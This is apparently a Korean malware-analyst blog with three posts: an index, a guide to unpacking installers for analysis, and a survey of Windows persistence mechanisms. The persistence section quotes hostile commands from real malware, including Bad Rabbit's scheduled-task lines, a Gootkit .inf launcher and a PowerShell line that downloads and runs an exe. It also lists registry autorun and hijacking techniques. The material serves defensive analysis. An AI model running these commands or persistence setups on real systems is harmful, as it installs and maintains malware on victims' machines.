2018.12.16 20:53 악성코드 분석

목록



1. 도구

- Ollydbg 2.01 매뉴얼http://sanseolab.tistory.com/8 ]

Windbg, Gdb 명령어 정리 http://sanseolab.tistory.com/22 ]

VC++ 옵션 정리 http://sanseolab.tistory.com/20 ]

exeinfo PE 사용법 [ http://sanseolab.tistory.com/48 ]

x64dbg 분석 팁http://sanseolab.tistory.com/54 ]

IDA Pro 시그니처 사용 및 제작 (Flirt) [ http://sanseolab.tistory.com/55 ]

- GCC 사용법  [ http://sanseolab.tistory.com/67 ]

- 디버거로 덤프뜨기  [ http://sanseolab.tistory.com/73 ]

- Notepad++ 자동화  [ http://sanseolab.tistory.com/74 ]

- TotalCommand 자동화  [ http://sanseolab.tistory.com/75 ]



2. 보안 개념

코드 인젝션과 사용자 모드 후킹 http://sanseolab.tistory.com/28 ]

윈도우의 예외 처리 http://sanseolab.tistory.com/16 ]

윈도우의 서비스 http://sanseolab.tistory.com/18 ]

API Sets http://sanseolab.tistory.com/17 ]

윈도우의 자료형 정리 http://sanseolab.tistory.com/9 ]

윈도우에서 스크립트 악성코드 http://sanseolab.tistory.com/41 ]

악성코드 분석 자동화 (샌드박스 및 에뮬레이터) http://sanseolab.tistory.com/39 ]

안티바이러스의 악성코드 탐지 메커니즘 http://sanseolab.tistory.com/35 ]

다형성 바이러스 http://sanseolab.tistory.com/19 ]

악성코드 지속 메커니즘 http://sanseolab.tistory.com/30 ]

파워셸(PowerShell)과 악성코드 http://sanseolab.tistory.com/29 ]

윈도우 권한과 UAC (User Access Control) 우회 http://sanseolab.tistory.com/27 ]

악성코드가 감염되기까지 http://sanseolab.tistory.com/26 ]

EFLAGS 상태 레지스터 http://sanseolab.tistory.com/44 ]

Anti-AV와 Anti-VM (Sandbox) [ http://sanseolab.tistory.com/52 ]

Access Token 및 권한과 Integrity Level에 대한 정리 [ http://sanseolab.tistory.com/50 ]

COM, OLE,.NET Framework 등의 개념 및 사용 [ http://sanseolab.tistory.com/49 ]

TEB 및 PEB를 활용하는 루틴 [ http://sanseolab.tistory.com/47 ]

Process Hollowing 및 응용  [ http://sanseolab.tistory.com/57 ]

CreateProcess / CreateThread 내부  [ http://sanseolab.tistory.com/58 ]

- 악성 행위에 사용될 수 있는 시스템 유틸리티  [ http://sanseolab.tistory.com/66 ]

- 윈도우의 작업 스케줄링 및 기타  [ http://sanseolab.tistory.com/68 ]



3. 분석

패커들 분석 http://sanseolab.tistory.com/10 ]

Yoda's Protector 분석 http://sanseolab.tistory.com/11 ]

프로텍터 PEspin 1.33 분석 http://sanseolab.tistory.com/34 ]

델파이 바이너리 분석 방법론 [ http://sanseolab.tistory.com/56 ]

Autoit 스크립트  [ http://sanseolab.tistory.com/59 ]

바이너리로 변환된 VBScript 디컴파일  http://sanseolab.tistory.com/60 ]

오토핫키 (AutoHotKey) 버전 별 디컴파일  [ http://sanseolab.tistory.com/61 ]

바이너리로 변환된 스크립트 추출 ( VBScript, Powershell, Batch )  [ http://sanseolab.tistory.com/63 ]

Visual Basic 6.0 바이너리 분석  [ http://sanseolab.tistory.com/64 ]

인스톨러들 분석  [ http://sanseolab.tistory.com/65 ]

USB 악성코드 분석 [ http://sanseolab.tistory.com/42 ]



4. 개발

간단한 패커 개발 http://sanseolab.tistory.com/12 ]

윈도우의 드라이버 개발과 루트킷 그리고 AV http://sanseolab.tistory.com/13 ]

리눅스 안티바이러스 구현에 관한 정리 http://sanseolab.tistory.com/23 ]

윈도우 안티바이러스 드라이버 개발 연습 http://sanseolab.tistory.com/33 ]

윈도우 드라이버로 구현한 간단한 프로세스 로그 생성기 (Process Logger) http://sanseolab.tistory.com/38 ]

yara를 이용한 시그니처 분류 연습  [ http://sanseolab.tistory.com/62 ]

- [Tool] ejExtractor  [ http://sanseolab.tistory.com/72 ]



'악성코드 분석' 카테고리의 다른 글

목록  (0) 2018.12.16
인스톨러들 분석  (0) 2018.12.16
악성코드 지속 메커니즘  (0) 2018.12.16
TotalCommand 자동화  (0) 2018.12.16
Notepad++ 자동화  (0) 2018.12.16
x64dbg 분석 팁  (0) 2018.12.15
Posted by SanseoLab SanseoLab



0. 개요

1. Inno Setup

2. NSIS ( NullSoft Install System )

3. msi ( Microsoft Installer )





0. 개요

  프로그램을 설치한다는 것은 단순히 내부에 압축된 파일을 풀고 특정 폴더에 위치시키는 것이 전부인 경우가 많을 것이다. 물론 이미 설치된 경우에는 지우는 기능이 추가되어 있을 수도 있고, 설치 파일에서 드랍하는 방식이 아니라 다운로드하는 방식일 수도 있다. 이러한 기능들 외에도 레지스트리를 등록하는 등의 추가적인 기능이 존재할 수 있다.


  바이너리를 분석하다 보면 설치 과정 중 크래시가 나는 경우라던지 아니면 실행시키지 않고 정적으로 분석하고 싶은 경우가 있을 수 있다. 이러한 경우에는 내부의 파일을 추출하는 기능이 있으면 편리하다. 꼭 파일 뿐만 아니라 다운로드하여 설치하는 인스톨러라면 그 스크립트를 추출할 수 있으면 굳이 직접 설치할 필요 없이 분석을 진행할 수 있다.


  대부분의 경우 그냥 설치한 후 설치된 파일을 가지고 분석하면 되겠지만 가끔씩 필요한 경우가 생기며 이 때 유용하게 사용할 수 있는 방식들을 정리하려고 한다.





1. Inno Setup

  대표적으로 많이 사용되는 인스톨러 프로그램 중 하나이다. 간단하게 InnoExtractor라는 툴 하나만 있으면 된다. 내부의 파일들 뿐만 아니라 설치 스크립트 파일까지 추출할 수 있다. 설치 스크립트는 .iss 확장자를 가진 텍스트 파일이다. 직과적이기 때문에 어떤 파일이 어디에 어떤 이름으로 위치하게 되는지 등의 정보를 확인할 수 있다.


  드래그 앤 드랍으로 설치 파일을 InnoExtractor에 드랍하면 많은 정보를 한 눈에 확인할 수 있다. 설치될 파일들은 "Application" 폴더에 존재하며, 설치 스크립트 파일은 "Script Files (Installer)" 폴더에서 확인할 수 있다. 장점으로 원하는 파일만 드래그 앤 드랍으로 추출할 수도 있다.


  간단하지만 암호가 걸린 경우도 있다. 이 때는 "Application" 폴더에 위치한 설치될 파일들을 추출할 때 암호가 필요한데, 굳이 이런 경우라면 그냥 설치하면 될 것이기 때문에 큰 상관은 없어보인다.


  앞에서도 언급했듯이 스크립트가 중요한 이유는 인스톨러가 다운로드 기능을 포함할 수 있기 때문이다. 기본적으로 제공되는 기능은 아닌것 같고 IsTools나 InnoTools Downloader라는 DLL로 제공되는 일종의 플러그인을 사용해야 한다. 물론 분석할 때는 간단하게 스크립트 파일에서 url만 확인하면 될 것이다.


  마지막으로 InnoExtractor 외에도 innounp라는 커맨드 라인 도구도 존재한다. 자동화를 하고자 할 때 이 커맨드 라인 프로그램을 이용하면 쉽게 자동화 스크립트를 작성할 수 있을 것이다.





2. NSIS ( NullSoft Install System )

  널소프트 인스톨러는 7z 같은 압축 프로그램으로 간단하게 압축을 해제할 수 있다. 압축을 해제한 후 내부 폴더를 보면 $PLUGINSDIR 등의 폴더와 설치될 파일들을 확인할 수 있다. 참고로 이 내부에 system.dll을 거의 항상 볼 수 있을 것이다.


  스크립트 파일은 .nsi 확장자를 가진 텍스트 파일이다. 널소프트의 경우도 Inno Setup 처럼 다운로더 기능을 가질 수 있다. 그렇기 때문에 스크립트가 중요하다. 과거에는 7-zip을 이용하여 압축 해제 시에 딱히 .nsi 스크립트 파일을 확인할 수 없어서 불가능한 것으로 알고 있었지만, 7-zip의 버전 9.34 부터 15.06 까지는 이 .nsi 스크립트도 압축 해제할 수 있다는 것을 알게 되었다. 즉 과거의 특정 버전부터 특정 버전들 사이에 .nsi 스크립트 해제 기능이 존재했었다는 것이다. 해당 버전을 설치하고 압축 해제를 진행해보니 이전에 사용했던 것과는 다르게 "[NSIS].nsi" 파일이 추가적으로 압축 해제가 가능했다. 


  결론적으로 v9.34 - v15.06 사이의 7-zip을 설치하면 이것도 InnoSetup과 같이 스크립트 추출이 가능하다.


  NSIS는 악성코드에서도 자주 사용된다. system.dll을 보면 Call() 함수를 Export하는 것을 확인할 수 있는데 스크립트에서 이 함수를 이용해 kernel32.dll 같은 dll의 함수를 이용할 수 있다고 한다. 사실 복잡하게 해당 함수들을 이용해 코딩하는 수준 까지는 확인하지 못했다. 몇 개의 악성코드들을 확인한 결과 쓰레기 파일들과 함께 인코딩된 데이터, 실제 악성 행위를 하는 dll 파일을 드랍한 후 Call() 함수를 이용해 해당 DLL을 로드하거나 (DllMain()에 악성 루틴이 있는 경우) 아니면 해당 DLL이 export하는 특정 함수를 호출하면 이곳에 악성 루틴이 존재하여 인코딩된 데이터 파일을 읽은 후 이를 복호화하여 인젝션하는 등의 방식이었다.


  사실 실질적인 루틴은 드랍되는 dll에 있긴 하지만 그래도 디버깅을 통해 이러한 방식이라는 점을 확인하는 것 보다는 간단하게 .nsi 스크립트를 읽어와 쓰레기 파일과 실제 필요한 파일을 구분하고, 어떤 메커니즘으로 동작하는 가를 확인하는 것이 더 정확하고 빠른 분석이 가능하다고 생각한다.





3. msi ( Microsoft Installer )

  널소프트 인스톨러처럼 압축 프로그램을 이용하여 내부의 파일들을 추출할 수 있다. 확장자가 나와 있지는 않지만 어차피 크기만 보고도 PE인지 확인할 수 있을 것이다.


  특이점은 msi의 경우 파일의 시그니처가 doc, xls 같이 "D0 CF"로 시작한다는 점이다. 즉 msi 파일은 위의 다른 인스톨러들처럼 실행 파일이 아니라 데이터 파일이다. msi 파일을 실행할 경우 msiexec.exe라는 프로그램이 자동으로 이 msi 파일을 가지고 설치를 진행한다.


  msi 파일을 더블 클릭하면 다음과 같이 msiexec.exe가 msi를 인자로 받고 실행된다. 참고로 /i 인자는 install 즉 설치를 의미한다.

> msiexec.exe /i "$PATH\aaa.msi"


  중요한 점은 msiexec.exe가 msi 파일을 받을 때 현재 로컬에 있는 경우 뿐만 아니라 web에서도 받아와서 설치할 수 있다는 것이다. 즉 특정 주소에 msi 파일을 올려놓은 후 인자로 해당 msi 파일을 포함한 URL 주소를 넣고 msiexec.exe를 실행시킬 경우 다운로드 및 설치가 진행된다.

> msiexec.exe /i "http://www.aaa.co.kr/data/aaa.msi"


  msi 파일은 분석용으로 "jsMSIx.exe"라는 프로그램이 가장 괜찮아 보인다. 7z로 압축을 푸는 경우에는 설치될 exe 파일만 확인할 수 있겠지만 이 툴로 푸는 경우 exe 파일이 어느 디렉터리에 설치될지에 따라 해당 위치에 대한 디렉터리들까지 생성하여 exe를 위치시키기 때문에 더 많은 정보를 확인할 수 있다. (물론 실제 위치는 아니고 결과 폴더 내부에 적절하게 위치된다) 또한 msi 파일의 경우 파일 설치 외에도 레지스트리를 설정하는 것도 가능한데 jsMSIx.exe는 결과 폴더에 같이 생성되는 "MSI Unpack.log" 파일을 통해 어느 레지스트리 키가 생성되는지 또한 어느 값이 설정되는지도 동시에 파악할 수 있다. 즉 직접 설치하지 않고 어느 폴더에 어느 파일이 생성되며 어느 레지스트리 키가 생성되는지 등의 정보를 확인할 수 있는 것이다.



'악성코드 분석' 카테고리의 다른 글

목록  (0) 2018.12.16
인스톨러들 분석  (0) 2018.12.16
악성코드 지속 메커니즘  (0) 2018.12.16
TotalCommand 자동화  (0) 2018.12.16
Notepad++ 자동화  (0) 2018.12.16
x64dbg 분석 팁  (0) 2018.12.15
Posted by SanseoLab SanseoLab



0. 개요

1. File Infection

2. DLL 로딩 순서 하이재킹

3. 레지스트리

4. 서비스

5. 작업 스케줄러

6. COM Object Hijacking

7. 루트킷

8. etc





0. 개요

  여기서는 윈도우 시스템에서의 악성코드 지속 메커니즘(Persistence Mechanism)을 다룬다. 악성코드는 프로그램이며 그래서 실행될 필요가 있다. 가장 처음 바이너리의 주입 및 실행을 통한 감염 이후 단편적인 행위만 수행하고 스스로 삭제되는 형태가 아니고서야 대부분의 악성코드는 지속적으로 컴퓨터에 남아 프로세스로서 실행되면서 악의적인 행위를 수행할 것이다. 

  하지만 악성코드의 대상은 대부분 데스크탑 컴퓨터일 것이기 때문에 시스템 종료 같은 변화가 생긴다. 악성코드 바이너리는 컴퓨터에 남아 있겠지만 악의적인 행위를 하기 위해서는 프로세스로서 실행되어야 하기 때문에 시스템 부팅 시 마다 또는 악의적인 대상이 되는 프로세스의 실행 시 마다 악성코드가 프로세스로서 실행중일 필요가 있다. 그러기 위해서는 부팅 시에 실행되게 하거나 대상 프로세스를 가질 시에 적어도 이 프로세스가 실행될 때 마다 악성코드가 실행되어야 할 필요가 있다.





1. File Infection

  이 방식은 공격 대상 파일을 감염시켜서 악의적인 행위를 수행하게 한다. 다양한 방식으로 사용될 수 있지만 기본적으로 중간에 흐름을 가로채는 것과 악의적인 루틴이 삽입되는 것을 공통점으로 갖는다. 그리고 실행 파일 자체를 감염시킬 수도 있지만 로드되는 DLL을 감염시킬 수도 있다.

  만약 대상 프로그램이 실행될 때 마다 악의적인 행위를 수행할 필요가 있다면 프로그램 초기에 또는 특정한 함수 호출 시마다 미리 심어놓은 루틴으로 분기시켜서 악의적인 행위를 수행하게 할 수 있다. 또는 이 프로그램이 시스템 부팅 시 마다 실행되는 프로세스라면 컴퓨터를 켤 때마다 악의적인 루틴이 실행될 수 있다. 이 프로세스가 종료 시 까지 유지되지 않는다고 하더라도 독립적으로 존재하는 악성코드를 실행시킨는 루틴을 삽입할 수 있다.





2. DLL 로딩 순서 하이재킹

  프로세스가 DLL을 로드할 때는 특정한 순서가 존재한다. 가장 먼저 프로세스의 실행 파일이 존재하는 디렉터리에서 찾은 후 존재하지 않는다면 현재 디렉터리 그리고 시스템 디렉터리 순으로 찾게 된다. 만약 DLL 로드 시에 제대로 검증하지 않는다면 로드할 DLL의 이름과 같은 이름을 가진 악의적인 DLL을 더 높은 우선순위를 가진 디렉터리에 넣어 DLL 하이재킹을 수행할 수 있다. 결론적으로 특정 프로세스 실행 시에 악의적인 DLL이 로드됨으로써 코드가 실행될 수 있다.





3. 레지스트리

  가장 대표적인 방식으로서 많은 악성코드에서 사용된다.


3.1 Run / RunOnce


[ HKCU\Software\Microsoft\Windows\CurrentVersion\Run ]

[ HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce ]

[ HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnceEx ]

[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ]

[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce ]

[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx ]


  HKCU에 존재하는 값은 일반 사용자도 수정할 수 있지만 HKLM의 경우에는 관리자 권한이 필요하다. 대신 HKLM은 전체 시스템에서 모두 통하는 방식이지만 HKCU의 경우에는 해당 사용자 부팅 시에만 실행된다. 그리고 RunOnce는 오직 한 번만 실행되고 이후에는 삭제되므로 시스템 부팅 시 마다 실행하고 싶은 경우에는 Run을 사용한다. 마지막으로 RunOnce는 프로그램 시작 이후로 바로 레지스트리 키를 삭제하지만 RunOnceEx는 종료된 후에 삭제한다.



3.2 Windows\load / run


[ HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load ]

[ HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\run ]


  유저 로그온 시 실행된다.



3.3 Policies\Explorer\Run


[ HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run ]

[ HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run ]


- Group Policy에서 설정한 경우 반영되는 레지스트리

- 액티브 디렉터리(인증 관리 등 컴퓨터 네트워크의 자원 관리)와 관련된 개념

- 관리자가 정책을 할당하고 관리할 수 있다.



3.4 WinLogon 프로세스에서 사용되는 키들

  winlogon.exe는 사용자 로그온 시에 실행되는 프로세스로서 인증과 초기화 등을 담당한다.


[ HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon - Userinit ]


  WinLogon은 초기화를 진행하기 위해 이곳의 Userinit 키에 명시된 값을 시작한다. 일반적으로 값은 userinit.exe이며 이 프로세스가 초기화를 진행한다. 하지만 이 값을 수정할 수 있기 때문에 부팅 시 마다 악성코드를 실행시키는데 사용될 수 있다.


[ HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon - Shell ]

[ HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon - Shell ]


  WinLogon은 마지막에 Shell을 실행시키는 역할도 수행하는데 윈도우에서 셸은 기본적으로 EXPLORER이다. 그러므로 디폴트 값은 explorer.exe다. 이것도 마찬가지로 수정할 수 있다.



3.5 Startup Keys


[ HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders - Startup ]

[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders - Startup ]

[ HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders - Startup ]

[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders - Startup ]


  디폴트 값은 %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup이다. 즉 우리에게 익숙한 "시작 프로그램" 폴더이다.



3.6 Browser Helper Objects (BHO)


[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects ]


  BHO는 브라우저에서 추가적인 기능을 지원하기 위해 만들어진 플러그인 형태의 DLL 모듈이다. 실질적인 내용은 IE 실행 시에 이 DLL이 로드되기 때문에 악성코드가 사용한다. 참고로 BHO는 윈도우 10의 IE 11에서도 아직 지원된다고 한다. 물론 Edge는 지원하지 않는다.



3.7 서비스

  서비스도 레지스트리와 많은 연관이 있다. 이 부분은 따로 뒤에서 자세히 정리하겠다.



3.8 AppInit_DLLs

[ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs ]

  여기에 저장된 값 즉 경로는 User32.dll의 DLL_PROCESS_ATTACH 과정에서 LoadLibrary() 함수를 통해 로드된다. 대부분의 실행 파일들이 user32.dll을 로드하기 때문에 많은 악성코드가 자주 사용하는 레지스트리이다.


[ HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDLLs ]

  이 외에도 AppCertDlls 레지스트리도 존재한다. 위와의 차이점은 CreateProcess(), CreateProcessAsUser(), CreateProcessWithLogonW(), CreateProcessWithTokenW(), WinExec()를 호출하는 프로세스에만 로드된다는 것이다.



3.9 IFEO ( Image File Execution Options )


[ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options ]


  원래 프로세스 실행 시에 자동으로 디버거가 Attach시키도록 하는 방식으로 사용된다. 악성코드는 자신을 여기에 등록시킬 수 있다.



3.10 GPO (Group Policy Object)를 이용한 방식


  Gootkit 악성코드에서 사용된 방식이다. 이 악성코드는 APPDATA 폴더에 정상과 유사한 이름의 디렉터리를 생성하고 악성코드를 복사한다. 동시에 같은 이름을 가진 .inf 파일을 동일한 폴더에 복사한다. 다음 [ https://forums.juniper.net/t5/Threat-Research/New-Gootkit-Banking-Trojan-variant-pushes-the-limits-on-evasive/ba-p/319055 ] 링크에서 사용된 샘플을 예시로 든다.


File Path : %APPDATA%\\Microsoft\Internet Explorer\mounper.exe

Inf Path : %APPDATA%\\Microsoft\Internet Explorer\mounper.inf


  .inf 파일의 내용은 다음과 같다.


[Version]

signature = "$CHICAGO$"

AdvancedINF = 2.5, "You need a new version of advpack.dll"


[DefaultInstall]

RunPreSetupCommands = fvybqltbgwzfaxgrgbktmbjcnfbcgu:2


[fvybqltbgwzfaxgrgbktmbjcnfbcgu]

C:\Users\Administrator\AppData\Roaming\Microsoft\Internet Explorer\mounper.exe



  이후 다음 레지스트리 키들을 생성한다.


[ HKCU\Software\Microsoft\IEAK\GroupPolicy\PendingGPOs\Section1 - DefaultInstall ]

[ HKCU\Software\Microsoft\IEAK\GroupPolicy\PendingGPOs\Count - 4 ]

[ HKCU\Software\Microsoft\IEAK\GroupPolicy\PendingGPOs\Path1 - %APPDATA%\\Microsoft\Internet Explorer\mounper.inf ]


  여기까지 완료되면 Run Key를 등록한 것과 같이 이후 재부팅 시에 실행된다.





4. 서비스

  서비스는 윈도우가 부팅될 때 자동으로 실행되며 지속적으로 존재한다. 이러한 특징 외에도 은닉과 관련된 특징이 존재하기 때문에 악성코드는 자신의 지속 메커니즘으로써 서비스를 이용하는 경향이 많다. 블로그에 "윈도우의 서비스"에 대한 글이 존재하기 때문에 여기서는 간단하게만 정리하기로 한다. exe 형태의 실행 파일은 다음의 레지스트리에 저장된다.


[ HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services ]


  위의 키에 악성코드의 경로가 등록되어 있고 윈도우는 부팅 시 이 레지스트리를 참고하여 등록된 서비스들을 실행시킬 것이다. 

  Windows NT 이전 버전에서는 다음의 레지스트리 키들이 사용자 로그온 이전에 프로그램을 실행하는데 사용되었다. 그 이후부터는 services.exe 즉 SCM이 사용자 로그온 이전의 시스템 서비스들에 대한 로드를 담당한다.


[ HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce ]

[ HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices ]





5. 작업 스케줄러

  관련 내용은 다음 링크에 더 자세하게 나와있다. [ http://sanseolab.tistory.com/68 ]


  다음으로는 여러 예제들을 보면서 어떤 방식으로 사용되는지를 살펴보았다.



- 예제 1 ]

http://securityfactory.tistory.com/293

  여러 정보를 저장한 xml 파일을 만든 후 다음 명령어를 통해 인자로 xml 경로를 넣고 실행한다.


> schtasks.exe /Create /TN "Update\Window" /XML "경로명"



- 예제 2 ] Bad Rabbit

http://blog.alyac.co.kr/1377


  위의 링크를 보면 xml 파일 관련해서 나오는데 검색해보니 다른 자료에서는 xml 관련한 내용이 나오지 않고 명령어를 봐도 xml을 이용하지 않고 직접 입력하는 방식으로 보인다. 명령어는 각각 다음과 같다.


cmd.exe /c schtasks /Create /SC once /TN drogon /RU SYSTEM /TR %WinDir%\system32\shutdown.exe /r /t 0 /f /ST : 시간


cmd.exe /c schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR %WinDir%\system32\cmd.exe /C Start \\ \%WinDir%\dispci.exe\ -id [랜덤숫자]&& exit



- 예제 3 ]

https://kkomak.wordpress.com/2017/06/01/%EC%B5%9C%EA%B7%BC-%EC%9D%B4%EC%8A%88%EB%90%9C-%EA%B5%AD%EB%82%B4-%EC%B7%A8%EC%95%BD%ED%95%9C-activex-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%A8-%EA%B4%80%EB%A0%A8/ ]


  이것을 보면 at을 아직 사용할 수 있는것 같기도 하다.


“cmd /c c:\windows\system32\at.exe “,” powershell -nop -nologo -wind hidden (New-Object System.Net.WebClient).DownloadFile(‘http://xxxx.xx.xx/xxxx/xx/rss.php’,’c:\windows\temp\iexplore.exe’);(New-Object -com Shell.Application).ShellExecute(‘c:\windows\temp\iexplore.exe’);





6. COM Object Hijacking

  COM과 관련한 기본적인 내용은 다음 링크를 참고한다.  [ http://sanseolab.tistory.com/49 ]


  HKCR\CLSID\의 값들은 HKLM\SOFTWARE\Classes\CLSID\와 HKCU\SOFTWARE\Classes\CLSID\의 조합이다. 문제는 우리가 관리자 권한이 없어도 HKCU\SOFTWARE\Classes\CLSID\의 값을 조작할 수 있다는 점이다.


  어떤 응용 프로그램이 COM을 이용하는 경우 HKCR\CLSID\에서 상응하는 CLSID를 검색한다. 여기에는 보통 DLL의 경로가 들어있으며 COM을 초기화한 경우 이 DLL이 로드된다. COM Object Hijacking은 이 DLL의 경로를 악성코드 DLL의 경로로 수정하게 된다. 이를 통해 DLL 인젝션 등의 방식 없이도 특정 응용 프로그램 실행 시에 자동으로 악성 DLL이 로드되게 할 수 있다.





7. 루트킷

  생략.





8. etc

  꾸준히 다양한 방식들이 나오고 있다.


Appx/UWP 앱의 디버거를 이용한 방식 (레지스트리) : https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx/amp/?__twitter_impression=true ]



'악성코드 분석' 카테고리의 다른 글

목록  (0) 2018.12.16
인스톨러들 분석  (0) 2018.12.16
악성코드 지속 메커니즘  (0) 2018.12.16
TotalCommand 자동화  (0) 2018.12.16
Notepad++ 자동화  (0) 2018.12.16
x64dbg 분석 팁  (0) 2018.12.15
Posted by SanseoLab SanseoLab

블로그 이미지
Malware Analyst
SanseoLab

태그목록

공지사항

Yesterday50
Today14
Total19,983

달력

 « |  » 2018.12
            1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31          

글 보관함